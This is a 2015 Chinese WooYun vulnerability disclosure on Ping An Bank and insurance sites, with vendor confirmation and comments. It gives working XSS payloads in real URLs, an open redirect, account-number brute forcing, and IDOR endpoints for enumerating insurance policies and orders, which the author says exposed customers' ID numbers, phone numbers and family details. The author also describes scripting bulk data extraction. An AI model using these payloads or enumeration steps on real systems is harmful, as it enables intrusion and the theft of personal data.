金融小能手之平安银行保险大礼包(影响平安保险详细订单用户信息/暴力遍历破解银行密码/xss等)

漏洞概要

缺陷编号:WooYun-2015-0118566

漏洞标题:金融小能手之平安银行保险大礼包(影响平安保险详细订单用户信息/暴力遍历破解银行密码/xss等)

相关厂商:平安银行

漏洞作者:咚咚呛

提交时间:2015-06-07 10:18

公开时间:2015-07-23 10:38

漏洞类型:账户体系控制不严

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

Tags标签:

漏洞详情

披露状态:

2015-06-07: 细节已通知厂商并且等待厂商处理中
2015-06-08: 厂商已经确认,细节仅向厂商公开
2015-06-18: 细节向核心白帽子及相关领域专家公开
2015-06-28: 细节向普通白帽子公开
2015-07-08: 细节向实习白帽子公开
2015-07-23: 细节向公众公开

简要描述:

他们都说标题一定要强悍才有人回复,平安银行是中国第一家以保险为核心的金融集团,保险这东西公司基本都会入,与我们息息相关了,那就来让我脱一次保险的裤子吧。
(总结中的语句:)平安银行在我印象中是个大行,虽说比不上四大行吧(建行除外,尼玛等着中枪吧下次就搞你),但是招行、广发这些还能媲美一下子的,安全性方面确实不应该出现下述中的错误。

详细说明:

1、未验证的重定向测试过程:首先发现地址修改TargetResource=https://www.baidu.comhttps://www.pingan.com.cn/pinganone/pa/accounts_overview/setPFToken.jsp?url=https://www.pingan.com.cn/idp/startSSO.ping?PartnerSpId=bankSP%26TargetResource=https://www.baidu.com 首先他是有domain=.pingan.com.cn判断,直接修改参数url是不成功的,之后它会302跳转到https://www.pingan.com.cn/idp/startSSO.ping?PartnerSpId=bankSP&TargetResource=https://www.baidu.com 但是参数TargetResource没有验证。最终打开baidu.com

2、XSS跨站脚本链接:http://notify.youku.com/notify/get.json?uid=1398356088903D8F&types=[%22umc_notice%22]&callback=QheaderModule.updateNoticeNumCallback%3Cscript%3Ealert(1)%3C/script%3E参数:callback 这参数基本上每个功能都有通用性的。上面提供的xss链接不用登陆可以直接执行js:

3、XSS跨站脚本链接:https://bank.pingan.com.cn/ibp/work/finance/historyTradeQry.do?pageIndex=1&destCardId=111/%3E%3Cscript%3Ealert(1)%3C/script%3E&buildStartDate=2015-05-01&buildEndDate=2015-06-01 参数destCardId 这个参数也特别常见,还有一些事比如账户ID的参数,如:https://bank.pingan.com.cn/ibp/work/pension/historyTradeQry.do等等,这些都可以产生XSS,这里就不说了。参数位置都差不多,都是查询类卡号。

4、XSS跨站脚本登陆个人网银后:https://bank.pingan.com.cn/ibp/work/finance/historyTradeQry.do?pageIndex=1&destCardId=6230585"><script>alert(1)</script>&buildStartDate=2015-04-29&buildEndDate=2015-05-29参数:destCardId

5、存储型XSS账户添加功能中https://www.pingan.com.cn/pinganone/pa/saveManualAccountJson.do?urlFrom=fromLeftPOST如下数据{"operation":"add","todayDate":"2015-05-29","oldBeginDate":"","flag":"add","channel":"001","queryPath":"","accountType":"1","cateNo1":"AllSavings","accountName":"222\"<script>alert(1)</script>","amount":"10","currency":"156","relateUrl":"http://baidu.com","urlFrom":"fromLeft"}

在返回浏览多处都会执行js:

6、XSS跨站脚本https://cz.pingan.com.cn/ibd/index.html#register/register/registerInputToaPage?mobile=222&email=33333111&toaType=1&isCredit=0&isLogin=1&birthDay=&onlineBankUser=1&isRich=0&isMoveMap=null&toaName=111"><script>alert(1)</script>参数:mobile、email、toaName等都可以产生XSS

7、账户暴力猜解https://bank.pingan.com.cn/ibp/work/gold/signAgreement1.do参数acctNo可以暴力猜解账户号码。比如跑后两位100个:

以特征字符 “取款密码错误”|“无效卡号”来区分,可以得到所有有效账户ID。

8、越权查询(个人保单查询)https://www.pingan.com.cn/cspi-internet/dwr/call/plaincall/QueryPersonDwrService.queryPersonPolMethod.dwr参数:c0-param0如:c0-param0=string:PC01420333678252 需要把参数page=/cspi-internet/toa/pension/queryPolList.do的值删掉,这个地址有一定的权限判断机制, 然后就可以按照分单号码来跑数据了。比如:我跑后三位(1000个)单号数据。

可以看到大部分都有客户数据的,如下:

看下页面显示:随意找个,以PC01420333678370为例,

可以看到详细信息及配偶和子女的详细信息

且查看查看连带人的个人信息,这里也是可以遍历得到所有用户信息的。

9、内网信息泄露https://www.pingan.com.cn/cspi-internet/toa/pension/insuranceCertificateExportPdf.do?polNo=GP011411&IdNo=11111119111&insuredName=%B9%AE%B6%AC%B6%AC&certNo=PC0142011111 参数随便填点错误号码 泄露内网IP:10.33.88.11

10、xss跨站脚本链接:http://www.pingan.com/pa18shopemt/do/apply/period?flowId=B0Kt3LOEGAsqF0Vd&beginDate=2015-06-12111<script>alert(1)</script>&periodUnit=0&applyPeriod=12 参数:beginDate直接赋值<script>alert(1)</script>

11、遍历保险订单号获取用户数据(可以脱裤了)先说下问题在哪里,问题出在保险订单支付的环节上。

链接:https://www.pingan.com/pa18shopemt/do/payment/gotoPayment?orderNos=201500062459871&payEntry=002 参数:orderNos 为订单号在支付的过程中发现存在以上链接,测试多次发现证明是订单号,并且返回用户N多敏感数据:

可以看到通过订单号可以直接获取用户姓名、身份证号、电话号码、电子邮箱、购买保险种类、保险金额、购买时间等等敏感信息。经验判断应该可以跑数据简单脱裤了,给你跑下数据试试就知道了,Burp跑100个吧:

可以看到很完美的就跑出来了,且时间也不长,如果写个python脚本提数据还不是分分秒秒的事。还有个链接要提下,链接:http://www.pingan.com/pa18shopemt/do/payment/checkPay.do?shopOrders=201500062459169这个链接也可以跑订单号,它不同于上个链接,这个链接可以得到订单号的状态,并且返回内容超快,测试Burp跑1000个超级快(线程够大服务不会断链接),特征“不允许支付”表示订单支付完成了,订单不存在它会提示”订单不存在“如图:

最终我还是写了个python脚本,尝试的遍历了一下一个月内的数据。真的很多很多数据啊。。。。

漏洞证明:

同上吧。。。上面说的很详细了。还是总结下吧:平安银行在我印象中是个大行,虽说比不上四大行吧(建行除外,尼玛等着中枪吧),但是招行、广发这些还能媲美一下子的,安全性方面确实不应该出现上述中的错误,整体安全确实做的相当到位,但是针对重要的安全点方面还是有欠缺,譬如上面出现的越权查询类问题,这些在其他应用中可能算不上高危,但是网银里就算是致命的了。何况还出现了能遍历订单,获取用户数据的现象,希望行方给予关注。其次就是大量的XSS了,我这里列出的只是其中一小部分,只占我发现的四分之一左右,问题不是出在过滤不严,而是忽视了很多。另:我测试的只是一些常用功能点(因为我只有这方面数据),不排除其他风险存在。平安银行我还是很看好你的,天天给我发广告,要不我也想不起来测你。。。。

修复方案:

我相信你们应该经常修复类似的洞才对

漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2015-06-0810:38

厂商回复:

感谢对平安银行安全的关注。

最新状态:

暂无

评价

  1. 2010-01-01 00:00 null_z 白帽子 | Rank:879 漏洞数:75)

    那就让我脱一次保险的裤子吧⚡⚡⚡⚡

  2. 2010-01-01 00:00 咚咚呛 白帽子 | Rank:231 漏洞数:24)

    没人约架?

  3. 2010-01-01 00:00 chock 白帽子 | Rank:114 漏洞数:13)

    难道只有我发现第二个反射型xss是优酷的么

  4. 2010-01-01 00:00 咚咚呛 白帽子 | Rank:231 漏洞数:24)

    @chock 那啥子,聪明睿智啊,报告填错位置了

  5. 2010-01-01 00:00 土夫子 白帽子 | Rank:348 漏洞数:38)

    居然不给20rank